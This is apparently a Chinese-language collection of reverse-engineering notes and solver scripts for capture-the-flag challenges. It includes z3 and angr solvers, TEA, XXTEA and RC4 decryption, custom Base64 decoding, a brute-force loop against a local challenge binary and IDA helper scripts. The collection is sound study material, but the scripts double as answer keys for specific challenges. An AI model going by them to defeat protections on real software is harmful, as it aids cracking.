unity游戏的核心逻辑一般位于assets\bin\Data\Managed\Assembly-CSharp.dll

strcpy(Destination, Source);
strcpy(x, Source);
栈溢出的类型,先用x找到溢出的地址

UnDecorateSymbolName()函数:
该函数第一个参数为输出地址、第二个参数为未修饰的名字、第三个参数为长度、第四个参数为0表示完全修饰;
以下所有资料摘自:https://blog.csdn.net/liweigao01/article/details/78351464
资料一:
无论 __cdecl,__fastcall还是__stdcall调用方式,函数修饰都是以一个“?”開始,后面紧跟函数的名字。
再后面是參数表的開始标识和 依照參数类型代号拼出的參数表。
资料二:
对于C++的类成员函数(其调用方式是thiscall)。
函数的名字修饰与非成员的C++函数稍有不同,首先就是在函数名字和參数表之间插入以“@”字 符引导的类名。
资料三:

其次是參数表的開始标识不同,公有(public)成员函数的标识是“@@QAE”,保护(protected)成员函数的标识是 “@@IAE”,私有(private)成员函数的标识是“@@AAE”,
假设函数声明使用了constkeyword,则对应的标识应分别为 “@@QBE”,“@@IBE”和“@@ABE”。

资料四:
參数表的拼写代号例如以下所看到的:
X–void
D–char
E–unsigned char
F–short
H–int
I–unsigned int
J–long
K–unsigned long(DWORD)
M–float
N–double
_N–bool
U–struct
….
指针的方式有些特别。用PA表示指针,用PB表示const类型的指针。

dword 是双字,4个才是一个数据,所以当你用IDA时要用,initialized C variable。

.d文件是一种D语言的源码,flag有可能就在d文件里

xor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#XOR脚本
# 定义原始数据
data = [
0x7E, # '~'
0x7A, # 'z'
0x6D, # 'm'
0x7F,
0x42, # 'B'
0x7F,
0x08,
0x09,
0x4E, # 'N'
0x0A,
0x4B, # 'K'
0x44, # 'D'
0x00 # 假设以0x00结尾
]

# XOR 操作数
xor_value = 0x39

# 执行异或操作
result = [byte ^ xor_value for byte in data]

# 将结果转换为字符串,不可打印的字符用点号表示
def to_printable_string(byte_list):
return ''.join(chr(b) if 32 <= b <= 126 else '.' for b in byte_list)

# 输出结果
print("原始数据:", [hex(b) for b in data])
print("XOR 后的数据:", [hex(b) for b in result])
print("XOR 后的字符串:", to_printable_string(result))

解矩形方阵

第一种:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from z3 import *

v1,v2,v3,v4,v5,v6,v7,v8,v9,v11 = Ints('v1 v2 v3 v4 v5 v6 v7 v8 v9 v11')
s = Solver()
s.add(-85 * v9 + 58 * v8 + 97 * v6 + v7 + -45 * v5 + 84 * v4 + 95 * v2 - 20 * v1 + 12 * v3 == 12613)
s.add(30 * v11 + -70 * v9 + -122 * v6 + -81 * v7 + -66 * v5 + -115 * v4 + -41 * v3 + -86 * v1 - 15 * v2 - 30 * v8 == -54400)
s.add(-103 * v11 + 120 * v8 + 108 * v7 + 48 * v4 + -89 * v3 + 78 * v1 - 41 * v2 + 31 * v5 - (v6 * 64) - 120 * v9 == -10283)
s.add(71 * v6 + (v7 * 128) + 99 * v5 + -111 * v3 + 85 * v1 + 79 * v2 - 30 * v4 - 119 * v8 + 48 * v9 - 16 * v11 == 22855)
s.add(5 * v11 + 23 * v9 + 122 * v8 + -19 * v6 + 99 * v7 + -117 * v5 + -69 * v3 + 22 * v1 - 98 * v2 + 10 * v4 == -2944)
s.add(-54 * v11 + -23 * v8 + -82 * v3 + -85 * v2 + 124 * v1 - 11 * v4 - 8 * v5 - 60 * v7 + 95 * v6 + 100 * v9 == -2222)
s.add(-83 * v11 + -111 * v7 + -57 * v2 + 41 * v1 + 73 * v3 - 18 * v4 + 26 * v5 + 16 * v6 + 77 * v8 - 63 * v9 == -13258)
s.add(81 * v11 + -48 * v9 + 66 * v8 + -104 * v6 + -121 * v7 + 95 * v5 + 85 * v4 + 60 * v3 + -85 * v2 + 80 * v1 == -1559)
s.add(101 * v11 + -85 * v9 + 7 * v6 + 117 * v7 + -83 * v5 + -101 * v4 + 90 * v3 + -28 * v1 + 18 * v2 - v8 == 6308)
s.add(99 * v11 + -28 * v9 + 5 * v8 + 93 * v6 + -18 * v7 + -127 * v5 + 6 * v4 + -9 * v3 + -93 * v1 + 58 * v2 == -1697)
check = s.check()
print(check)
model = s.model()
print(model)

第二种:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from z3 import *

# Initialize the solver
solver = Solver()

# Create 14 BitVecs for each character in the input string, assuming ASCII encoding (8 bits per character)
input_chars = [BitVec(f'c{i}', 8) for i in range(14)]

# Ensure that all characters are valid ASCII characters
for char in input_chars:
solver.add(And(char >= 0, char <= 127))

# XOR adjacent characters and store results in code
code = [input_chars[i] ^ input_chars[i + 1] for i in range(13)] + [input_chars[13]]

# Extract variables a1 to a14 as described in the problem statement
a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14 = [code[i] for i in [2, 1, 0, 3, 4, 5, 6, 7, 9, 8, 10, 11, 12, 13]]

# Define the constraints as provided in the original code
constraints = [
((((a1 * 88 + a2 * 67 + a3 * 65 - a4 * 5) + a5 * 43 + a6 * 89 + a7 * 25 + a8 * 13 - a9 * 36) + a10 * 15 + a11 * 11 + a12 * 47 - a13 * 60) + a14 * 29 == 22748),
((((a1 * 89 + a2 * 7 + a3 * 12 - a4 * 25) + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66) + a9 * 31 + a10 * 8 + a11 * 2 - a12 * 41 - a13 * 39) + a14 * 17 == 7258),
((((a1 * 28 + a2 * 35 + a3 * 16 - a4 * 65) + a5 * 53 + a6 * 39 + a7 * 27 + a8 * 15 - a9 * 33) + a10 * 13 + a11 * 101 + a12 * 90 - a13 * 34) + a14 * 23 == 26190),
((((a1 * 23 + a2 * 34 + a3 * 35 - a4 * 59) + a5 * 49 + a6 * 81 + a7 * 25 + (a8 << 7) - a9 * 32) + a10 * 75 + a11 * 81 + a12 * 47 - a13 * 60) + a14 * 29 == 37136),
(((a1 * 38 + a2 * 97 + a3 * 35 - a4 * 52) + a5 * 42 + a6 * 79 + a7 * 90 + a8 * 23 - a9 * 36) + a10 * 57 + a11 * 81 + a12 * 42 - a13 * 62 - a14 * 11 == 27915),
((((a1 * 22 + a2 * 27 + a3 * 35 - a4 * 45) + a5 * 47 + a6 * 49 + a7 * 29 + a8 * 18 - a9 * 26) + a10 * 35 + a11 * 41 + a12 * 40 - a13 * 61) + a14 * 28 == 17298),
((((a1 * 12 + a2 * 45 + a3 * 35 - a4 * 9 - a5 * 42) + a6 * 86 + a7 * 23 + a8 * 85 - a9 * 47) + a10 * 34 + a11 * 76 + a12 * 43 - a13 * 44) + a14 * 65 == 19875),
(((a1 * 79 + a2 * 62 + a3 * 35 - a4 * 85) + a5 * 33 + a6 * 79 + a7 * 86 + a8 * 14 - a9 * 30) + a10 * 25 + a11 * 11 + a12 * 57 - a13 * 50 - a14 * 9 == 22784),
((((a1 * 8 + a2 * 6 + a3 * 64 - a4 * 85) + a5 * 73 + a6 * 29 + a7 * 2 + a8 * 23 - a9 * 36) + a10 * 5 + a11 * 2 + a12 * 47 - a13 * 64) + a14 * 27 == 9710),
(((((a1 * 67 - a2 * 68) + a3 * 68 - a4 * 51 - a5 * 43) + a6 * 81 + a7 * 22 - a8 * 12 - a9 * 38) + a10 * 75 + a11 * 41 + a12 * 27 - a13 * 52) + a14 * 31 == 13376),
((((a1 * 85 + a2 * 63 + a3 * 5 - a4 * 51) + a5 * 44 + a6 * 36 + a7 * 28 + a8 * 15 - a9 * 6) + a10 * 45 + a11 * 31 + a12 * 7 - a13 * 67) + a14 * 78 == 24065),
((((a1 * 47 + a2 * 64 + a3 * 66 - a4 * 5) + a5 * 43 + a6 * 112 + a7 * 25 + a8 * 13 - a9 * 35) + a10 * 95 + a11 * 21 + a12 * 43 - a13 * 61) + a14 * 20 == 27687),
(((a1 * 89 + a2 * 67 + a3 * 85 - a4 * 25) + a5 * 49 + a6 * 89 + a7 * 23 + a8 * 56 - a9 * 92) + a10 * 14 + a11 * 89 + a12 * 47 - a13 * 61 - a14 * 29 == 29250),
(((a1 * 95 + a2 * 34 + a3 * 62 - a4 * 9 - a5 * 43) + a6 * 83 + a7 * 25 + a8 * 12 - a9 * 36) + a10 * 16 + a11 * 51 + a12 * 47 - a13 * 60 - a14 * 24 == 15317)
]

# Add all constraints to the solver
for constraint in constraints:
solver.add(constraint)

# Check if there is a solution
if solver.check() == sat:
model = solver.model()
# Convert the solution back into a string
solution = ''.join([chr(model.evaluate(input_chars[i]).as_long()) for i in range(14)])
print('Solution:', solution)
else:
print("No solution found")

第三种:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding:utf-8 -*-

from z3 import *

l = [Int("l%d"%i) for i in range(0x2a)]

s = Solver()
for i in l:
s.add(i>0)
s.add(i<255)
..............(s.add());
if s.check() == sat:
m = s.model()
for i in range(0x2a):
print (chr(int("%s"%(m[l[i]]))),end="")

使用前序中序求后续遍历-使用中序后序求前序遍历

使用前序中序求后续遍历

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# encoding: utf-8
class TreeNode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution:
# 返回构造的TreeNode根节点
def reConstructBinaryTree(self, pre, tin):
if len(pre)==0:
return None
root=TreeNode(pre[0])
TinIndex=tin.index(pre[0])
root.left=self.reConstructBinaryTree(pre[1:TinIndex+1], tin[0:TinIndex])
root.right=self.reConstructBinaryTree(pre[TinIndex+1:], tin[TinIndex+1:])
return root
def PostTraversal(self,root): #后序遍历
if root != None:
self.PostTraversal(root.left)
self.PostTraversal(root.right)
print(root.val)
pre=[1,2,4,7,3,5,6,8]
tin=[4,7,2,1,5,3,8,6]
S=Solution()
root=S.reConstructBinaryTree(pre,tin)
S.PostTraversal(root)

使用中序后序求前序遍历

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
class TreeNode:
def __init__(self,x):
self.val=x
self.left=None
self.right=None

class Solution:
def reConstructBinaryTree(self,post,tin):
if len(post)==0:
return None
root=TreeNode(post[-1])
TinIndex=tin.index(post[-1])
root.left=self.reConstructBinaryTree(post[0:TinIndex],tin[0:TinIndex])
root.right=self.reConstructBinaryTree(post[TinIndex:len(post)-1],tin[TinIndex+1:])
return root

def PreTraversal(self,root):
if root !=None:
print(root.val,end="")
self.PreTraversal(root.left)
self.PreTraversal(root.right)

post =[7,4,2,5,8,6,3,1]
tin =[4,7,2,1,5,3,8,6]
pre =[1,2,4,7,3,5,6,8]

S=Solution()
root=S.reConstructBinaryTree(post,tin)
S.PreTraversal(root)

网鼎杯signal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
a1=[]
v4=[10, 4, 16, 8, 3, 5, 1, 4, 32, 8, 5, 3, 1, 3, 2, 8, 11, 1, 12, 8, 4, 4, 1, 5, 3, 8, 3, 33, 1, 11, 8, 11, 1, 4, 9, 8, 3, 32, 1, 2, 81, 8, 4, 36, 1, 12, 8, 11, 1, 5, 2, 8, 2, 37, 1, 2, 54, 8, 4, 65, 1, 2, 32, 8, 5, 1, 1, 5, 3, 8, 2, 37, 1, 4, 9, 8, 3, 32, 1, 2, 65, 8, 12, 1, 7, 34, 7, 63, 7, 52, 7, 50, 7, 114, 7, 51, 7, 24, 7, 167, 255, 255, 255, 7, 49, 7, 241, 255, 255, 255, 7, 40, 7, 132, 255, 255, 255, 7, 193, 255, 255, 255, 7, 30, 7, 122]
for i in range(0,len(v4)):
if v4[i]==7:
a1.append(v4[i+1])
#print(a1)

a1 = [34, 63, 52, 50, 114, 51, 24, 167, 49, 241, 40, 132, 193, 30, 122]
a1.reverse()
v4.reverse()

v9 = 0
us = 0
v5 = 0
flag = []
for i in range(0, len(v4)):
if i == len(v4) - 1:
flag.append(us)

if v4[i] == 1 and v4[i - 1] != 1:
v5 = a1[v9]
v9 += 1
flag.append(us)

if v4[i] == 2:
if (v4[i + 1] != 3 and v4[i + 1] != 4 and v4[i + 1] != 5):
us = v5 - v4[i - 1]
# print(us,v5,a[i-1])

if v4[i] == 3:
if (v4[i + 1] != 2 and v4[i + 1] != 4 and v4[i + 1] != 5):
us = v5 + v4[i - 1] # LOBYTE是al有8位,参与运算的5、33、32是全值,所以LOBYTE可省略

if v4[i] == 4:
if (v4[i + 1] != 3 and v4[i + 1] != 2 and v4[i + 1] != 5):
us = v5 ^ v4[i - 1]

if v4[i] == 5:
if (v4[i + 1] != 3 and v4[i + 1] != 4 and v4[i + 1] != 2):
us = int(v5 / v4[i - 1])
if v4[i] == 8:
v5 = us

if v4[i] == 11:
us = v5 + 1

if v4[i] == 12:
us = v5 - 1
# print("12:",us)

flag.reverse()
out = ''
for j in flag:
out += chr(j)
print("flag{" + out + "}")

爆破脚本(SoulLike)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

T = ['\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\t', '\n', '\x0b', '\x0c', '\r', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', ' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~', '\x7f']

a = 'actf{'
b = 0
pty = 1
while 1:
if b == 12:
break
for i in T:
io = process('./SoulLike')
flag = a + i
flag = flag.ljust(17,'@')
flag += '}'
success(flag)
io.sendline(flag)
io.recvuntil('#')
if b < 9 :
n = int(io.recv(1))
else:
n = int(io.recv(2))
io.close()
if n == b + 1:
a = a + i
b = b + 1
break

将数据(0FD370FEB59C9B9Eh)转化为可识别字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <iostream>
#include <cstring>

int main() {
unsigned long long s[] = {
0xFD370FEB59C9B9E,
0xDEAB7F029C4FD1B2,
0xFACD9D40E7636559,
0x4,
0x0
};


for (int i = 0; i < 25; i++) {
int c = (int) * ((unsigned char *) (s) + i);
std::cout << "\\x" << std::hex << c;
}
std::cout << std::endl;

return 0;
}

angr符号执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import angr
import claripy

p = angr.Project('D:\\桌面\\attachment1', load_options={"auto_load_libs": False})
f = p.factory
state = f.entry_state(addr=0x400605) # 设置state开始运行时的地址
flag = claripy.BVS('flag', 8 * 32) # 要求的内容有32个,用BVS转成二进制给flag变量
state.memory.store(0x603055 + 0x300 + 5, flag) # 因为程序没有输入,所以直接把字符串设置到内存
state.regs.rdx = 0x603055 + 0x300
state.regs.rdi = 0x603055 + 0x300 + 5 # 然后设置两个寄存器

sm = p.factory.simulation_manager(state) # 准备从state开始遍历路径

print("ready")

sm.explore(find=0x401DAE) # 遍历到成功的地址

if sm.found:
print("sucess")
x = sm.found[0].solver.eval(flag, cast_to=bytes)
print(x)
else:
print('error')

DES算法在CBC模式下解密一个Base64编码的字符串

1
2
3
4
5
6
7
8
9
from Crypto.Cipher import DES
import base64

d_flag = b'1Tsy0ZGotyMinSpxqYzVBWnfMdUcqCMLu0MA+22Jnp+MNwLHvYuFToxRQr0c+ONZc6Q7L0EAmzbycqobZHh4H23U4WDTNmmXwusW4E+SZjygsntGkO2sGA=='
key = b'1\x002\x003\x004\x00'

generator = DES.new(key, DES.MODE_CBC, iv=key)
flag = generator.decrypt(base64.b64decode(d_flag))
print(flag.decode('utf-16'))

tea的解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdint.h>
#include <stdio.h>
void tea_dec(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1]; // v0、v1分别是密文的左、右半部分
uint32_t delta = 1166789954; //作为sum每次累加的变化值,题目中往往会修改此值
uint32_t sum = 64 * delta;
int i; //题目中的tea加密轮数为64轮,因此解密时要做出对应的修改,最终sum是64倍的delta
for (i = 0; i < 64; i++) { // tea加密进行64轮
//根据加密时的顺序颠倒下面3行的顺序,将加法改为减法(异或部分都是整体,不用管),就是逆向解密过程
v1 -= (v0 + sum + 20) ^ ((v0 << 6) + k[2]) ^ ((v0 >> 9) + k[3]) ^ 0x10;
v0 -= (v1 + sum + 11) ^ ((v1 << 6) + k[0]) ^ ((v1 >> 9) + k[1]) ^ 0x20;
sum -= delta;
}
// 解密后的内容要还给v数组
v[0] = v0;
v[1] = v1;
}

xxtea的解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import struct
import sys

_DELTA = 0x9E3779B9


def _long2str(v, w):
n = (len(v) - 1) << 2
if w:
m = v[-1]
if (m < n - 3) or (m > n): return b'' # 返回空字节串
n = m
s = struct.pack('<%iL' % len(v), *v)
return s[0:n] if w else s


def _str2long(s, w):
n = len(s)
m = (4 - (n & 3) & 3) + n
# 确保s是字节串
if isinstance(s, str):
s = s.encode('utf-8') # 如果s是str类型,则转换为字节串
s = s.ljust(m, b'\0') # 使用字节串填充
v = list(struct.unpack('<%iL' % (m >> 2), s))
if w: v.append(n)
return v


def encrypt(s, key):
if not s: return b'' # 如果输入为空,则返回空字节串
v = _str2long(s, True)
k = _str2long(key.ljust(16, '\0').encode('utf-8'), False) # 确保密钥也是字节串
n = len(v) - 1
z = v[n]
y = v[0]
sum = 0
q = 6 + 52 // (n + 1)
while q > 0:
sum = (sum + _DELTA) & 0xffffffff
e = sum >> 2 & 3
for p in range(n):
y = v[p + 1]
v[p] = (v[p] + ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))) & 0xffffffff
z = v[p]
y = v[0]
v[n] = (v[n] + ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[n & 3 ^ e] ^ z))) & 0xffffffff
z = v[n]
q -= 1
return _long2str(v, False)


def decrypt(s, key):
if not s: return b'' # 如果输入为空,则返回空字节串
v = _str2long(s, False)
k = _str2long(key.ljust(16, '\0').encode('utf-8'), False) # 确保密钥也是字节串
n = len(v) - 1
z = v[n]
y = v[0]
q = 6 + 52 // (n + 1)
sum = (q * _DELTA) & 0xffffffff
while sum != 0:
e = sum >> 2 & 3
for p in range(n, 0, -1):
z = v[p - 1]
v[p] = (v[p] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))) & 0xffffffff
y = v[p]
z = v[n]
v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[0 & 3 ^ e] ^ z))) & 0xffffffff
y = v[0]
sum = (sum - _DELTA) & 0xffffffff
return _long2str(v, True)


# Convert hex string to bytes
dec = 'bca5ce40f4b2b2e7a9129d12ae10c85b3dd7061ddc70f8dc'
if sys.version_info[0] >= 3:
dec_bytes = bytes.fromhex(dec)
else:
import binascii
dec_bytes = binascii.unhexlify(dec)

key = 'flag'
dec2 = decrypt(dec_bytes, key)
print(len(dec2))
try:
print(dec2.decode('utf-8', errors='replace')) # 尝试将结果解码为UTF-8字符串,如果失败则替换不可解码的字符
except UnicodeDecodeError:
print("Failed to decode the decrypted bytes as UTF-8.")

rc4解密脚本

c语言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include <stdio.h>
#include <string.h>
#include <stdint.h>

// 初始化S盒
void RC4_init(uint8_t S[256], const uint8_t *key, int keylen) {
int i;
for ( i = 0; i < 256; ++i) {
S[i] = i;
}
int j = 0;
for (i = 0; i < 256; ++i) {
j = (j + S[i] + key[i % keylen]) % 256;
// 交换S[i]和S[j]
uint8_t temp = S[i];
S[i] = S[j];
S[j] = temp;
}
}

// 解密(RC4加密和解密过程相同)
void RC4_decrypt(const uint8_t *key, int keylen, uint8_t *data, int datalen) {
uint8_t S[256];
RC4_init(S, key, keylen);

int i = 0, j = 0;
int n;
for ( n = 0; n < datalen; ++n) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
// 交换S[i]和S[j]
uint8_t temp = S[i];
S[i] = S[j];
S[j] = temp;

uint8_t t = (S[i] + S[j]) % 256;
data[n] ^= S[t];
}
}

int main() {
// 定义密钥为一个字节数组,而不是字符串
const uint8_t key[] = {0x10, 0x20, 0x30, 0x30, 0x20, 0x20, 0x10, 0x40}; // 替换为你的密钥
int keylen = sizeof(key) / sizeof(key[0]);

// 示例加密数据
const uint8_t encrypted_data[] = {
0x76, 0x35, 0xFD, 0xF5, 0x7D, 0x47, 0xFE, 0x95,
0x13, 0x7A, 0x26, 0x59, 0x3F, 0xFF, 0x31, 0xA1,
0x85, 0x7C, 0x63, 0x02, 0x6E, 0xBD, 0x93, 0x6A,
0x3E, 0x4D, 0x8D, 0xD7, 0x27, 0x73, 0x2D, 0x5E,
0xCC, 0x62, 0xF2, 0xDF, 0xE5, 0xD2, 0x00
};
int encrypted_data_len = sizeof(encrypted_data) / sizeof(encrypted_data[0]);

// 创建一个副本用于解密,并留出空间给字符串终止符
uint8_t decrypted_data[encrypted_data_len + 1];
memcpy(decrypted_data, encrypted_data, encrypted_data_len);
decrypted_data[encrypted_data_len] = '\0'; // 添加字符串终止符

// 执行解密操作
RC4_decrypt(key, keylen, decrypted_data, encrypted_data_len);

// 输出解密后的数据(以十六进制格式)
printf("Decrypted data in hex: ");
int i;
for(i = 0; i < encrypted_data_len; i++) {
printf("%02X ", decrypted_data[i]);
}
printf("\n");

// 输出解密后的数据(以字符串格式),仅当解密后是有效文本时才这么做
printf("Decrypted data as string: %s\n", decrypted_data);

return 0;
}

rc4解密脚本:(python)
1.
from Crypto.Cipher import ARC4
import base64

def rc4_decrypt(data, key):
# 解密前先进行Base64解码
data = base64.b64decode(data)
# 将密钥转换为字节
key = bytes(key, encoding='utf-8')
# 创建ARC4解密对象
enc = ARC4.new(key)
# 解密数据
res = enc.decrypt(data)
# 将解密后的数据转换为字符串
res = str(res, 'utf-8')
return res

if __name__ == "__main__":
# 加密后的数据
encrypted_data = '加密后的数据'
# 解密密钥
key = '123456'
# 解密数据
decrypted_data = rc4_decrypt(encrypted_data, key)
print('解密后:', decrypted_data)

python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from Crypto.Cipher import ARC4

def decrypt_rc4(key, ciphertext):
cipher = ARC4.new(key)
plaintext = cipher.decrypt(ciphertext)
return plaintext

# 示例用法
if __name__ == "__main__":
# 替换为你的密钥和要解密的密文
key = b'your-encryption-key'
encrypted_data = b'your-encrypted-data'

decrypted_data = decrypt_rc4(key, encrypted_data)
print("Decrypted data:", decrypted_data)

3.
from Crypto.Cipher import ARC4
import binascii


def decrypt_rc4(key, ciphertext):
cipher = ARC4.new(key)
# 确保ciphertext是bytes类型
if isinstance(ciphertext, list):
ciphertext = bytes(ciphertext) # 将整数列表转换为bytes类型
plaintext = cipher.decrypt(ciphertext)
return plaintext


# 示例用法
if __name__ == "__main__":
# 替换为你的密钥和要解密的密文
key = b'[Warnning]Access_Unauthorized'
encrypted_data = [0xC3, 0x82, 0xA3, 0x25, 0xF6, 0x4C, 0x36, 0x3B, 0x59, 0xCC, 0xC4, 0xE9, 0xF1, 0xB5, 0x32, 0x18,
0xB1, 0x96, 0xAE, 0xBF, 0x08, 0x35]

decrypted_data = decrypt_rc4(key, encrypted_data)
print("Decrypted data in hex: ", binascii.hexlify(decrypted_data).decode())

try:
# 如果你知道解密后的数据是文本,则可以尝试这样打印
print("Decrypted data as string: ", decrypted_data.decode('utf-8'))
except UnicodeDecodeError:
print("Decrypted data is not valid UTF-8 text.")

base64无表魔改解码脚本

1
2
3
4
5
6
7
data=[0x5a, 0x60, 0x54, 0x7A, 0x7A, 0x54, 0x72, 0x44,0x7C, 0x66, 0x51, 0x50, 0x5B, 0x5F, 0x56, 0x56,0x4C, 0x7C, 0x79, 0x6E, 0x65, 0x55, 0x52, 0x79,0x55, 0x6D, 0x46, 0x6B, 0x6C, 0x56, 0x4A, 0x67,0x4C, 0x61, 0x73, 0x4A, 0x72, 0x6F, 0x5A, 0x70,0x48, 0x52, 0x78, 0x49, 0x55, 0x6C, 0x48, 0x5C,0x76, 0x5A, 0x45, 0x3D]
flag=''
for i in range(0,len(data),4):
flag+=hex((((data[i]-0x3D)&0x3F)<<2)|(((data[i+1]-0x3D)&0x30)>>4))+','
flag+=hex((((data[i+1]-0x3D)&0x0F)<<4)|(((data[i+2]-0x3D)&0x3C)>>2))+','
flag+=hex(((data[i+3]-0x3D)&0x3F)|((data[i+2]-0x3D)&0x03)<<6)+','
print(flag)

mfc事件处理时(写个程序向MFC程序发送这个消息)

1
2
3
4
5
6
7
8
9
10
11
12
#include<Windows.h>
#include<stdio.h>
int main()
{
HWND h = FindWindowA(NULL, "Flag就在控件里");
if (h)
{
SendMessage(h, 0x0464, 0, 0);
printf("success");
}
else printf("failure");
}

base64换码表的解题代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from base64 import b64decode 
miwen="_r-+_Cl5;vgq_pdme7#7eC0="
key1=list("@,.1fgvw#`/2ehux$~\"3dity%_;4cjsz^+{5bkrA&=}6alqB*-[70mpC()]89noD")
base64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
secret=""
for i in miwen:
k=key1.index(i)
secret+=base64[k]
print(secret)
print(len(secret))
print(b64decode(secret))

2.
import base64
import string

str1 = "x2dtJEOmyjacxDemx2eczT5cVS9fVUGvWTuZWjuexjRqy24rV29q"

string1 = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

先用base64解密,再用rc4解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import base64
from Crypto.Cipher import ARC4


def rc4_decrypt(key, data):
cipher = ARC4.new(key)
return cipher.decrypt(data)


def decode_base64_and_rc4(base64_data, key):
# 确保Base64字符串长度是4的倍数,添加必要的填充
missing_padding = len(base64_data) % 4
if missing_padding:
base64_data += '=' * (4 - missing_padding)

try:
# 解码Base64编码的数据
decoded_data = base64.b64decode(base64_data)
# 使用RC4解密
decrypted_data = rc4_decrypt(key, decoded_data)
return decrypted_data
except (base64.binascii.Error, Exception) as e:
print(f"An error occurred during decoding or decrypting: {e}")
return None


if __name__ == "__main__":
# 示例Base64编码的RC4加密数据(你需要替换为你自己的数据)
base64_encrypted_data = "HcWAX+cMWAaxnh09eD+FdqaXiQ/ijIRVxlvEVgK78rpxoxbBeKYhpwSWKQ"
# RC4加密使用的密钥(你需要替换为你自己的密钥)
encryption_key = "flag{123321321123badbeef012}".encode('utf-8') # 转换为字节类型

# 解码并解密数据
result = decode_base64_and_rc4(base64_encrypted_data, encryption_key)

if result is not None:
try:
# 尝试解码为UTF-8字符串,并打印结果
print("Decrypted data:", result.decode('utf-8'))
except UnicodeDecodeError:
# 如果解密后的内容不是有效的UTF-8编码,则以十六进制格式打印原始字节
print("Decrypted data (hex):", result.hex())

Fuck混淆解码脚本:

1
2
3
4
5
6
7
8
9
10
11
12
<script>
function deEquation(str) {
for (let i = 0; i <= 1; i++) {
str = str.replace(/l\[(\D*?)](\+l|-l|==)/g, (m, a, b) => 'l[' + eval(a) + ']' + b);
}
str = str.replace(/==(\D*?)&&/g, (m, a) => '==' + eval(a) + '&&');
return str;
}
s="..........";
ss=deEquation(s);
document.write(ss);
</script>

IDA的get_wide_dword的使用

第一种:

1
2
3
4
5
6
7
8
9
10
11
12
13
import idaapi

addr = 0x6020c0
list1 = []

# 计算元素数量
num_elements = (0x60213c - addr) // 4 # 使用整数除法

for i in range(num_elements):
value = idaapi.get_wide_dword(addr + 4*i)
list1.append(value)

print(list1)

第二种:

1
2
3
4
5
6
7
8
9
10
11
12
13
from ida_bytes import get_wide_dword

addr = 0x435dc0
